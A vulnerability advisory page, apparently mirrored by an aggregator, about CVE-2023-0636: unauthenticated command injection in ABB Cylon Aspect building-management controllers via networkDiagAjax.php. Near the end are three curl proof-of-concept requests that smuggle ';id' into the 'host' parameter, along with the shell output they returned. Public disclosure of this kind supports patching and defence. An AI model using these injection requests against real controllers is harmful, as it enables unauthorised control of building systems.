ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution

🗓️ 24 Sep 2024 00:00:00Reported by Gjoko Krstic (2024)Vulnerability discovered by Prism Infosec (2022)Type

zeroscience🔗 www.zeroscience.mk👁 374 Views

ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution vulnerability in ABB BMS/BAS controlle

Reporter	Title	Published	Views	Family All 12
BDU FSTEC	Vulnerability of microprogramming software in embedded network control controllers of building management systems like ASPECT Enterprise, NEXUS Series, and MATRIX Series, due to insufficient validation of input data, allows intruders to execute arbitrary codes.	16 Jun 202300:00	–	bdu_fstec
Circl	CVE-2023-0636	5 Nov 202416:30	–	circl
CNNVD	ABB ASPECT 输入验证错误漏洞	5 Jun 202300:00	–	cnnvd
CVE	CVE-2023-0636	5 Jun 202303:45	–	cve
Cvelist	CVE-2023-0636 Remote Code Execution via Command Injection	5 Jun 202303:45	–	cvelist
EUVD	EUVD-2023-12670	3 Oct 202520:07	–	euvd
NVD	CVE-2023-0636	5 Jun 202304:15	–	nvd
OSV	CVE-2023-0636	5 Jun 202304:15	–	osv
Packet Storm	ABB Cylon Aspect 3.07.00 Remote Code Execution	25 Sep 202400:00	–	packetstorm
Prion	Input validation	5 Jun 202304:15	–	prion

<html><body><p>ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: &lt;=3.07.00

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an unauthenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the 'host' HTTP GET parameter called by networkDiagAjax.php
script.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic (2024) and Prism Infosec (2022)
                            @zeroscience


Advisory ID: ZSL-2024-5829
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5829.php
CVE ID: CVE-2023-0636
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-0636


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                            
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               
                                                                                                               

$ curl http://192.168.73.31/networkDiagAjax.php?command=traceroute&amp;host=;id
$ curl http://192.168.73.31/networkDiagAjax.php?command=nslookup&amp;host=;id
$ curl http://192.168.73.31/networkDiagAjax.php?command=ping&amp;host=;id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</p></body></html>

24 Sep 2024 00:00Current

7.5High risk

Vulners AI Score7.5

CVSS 3.17.2 - 9.8

EPSS0.0136

SSVC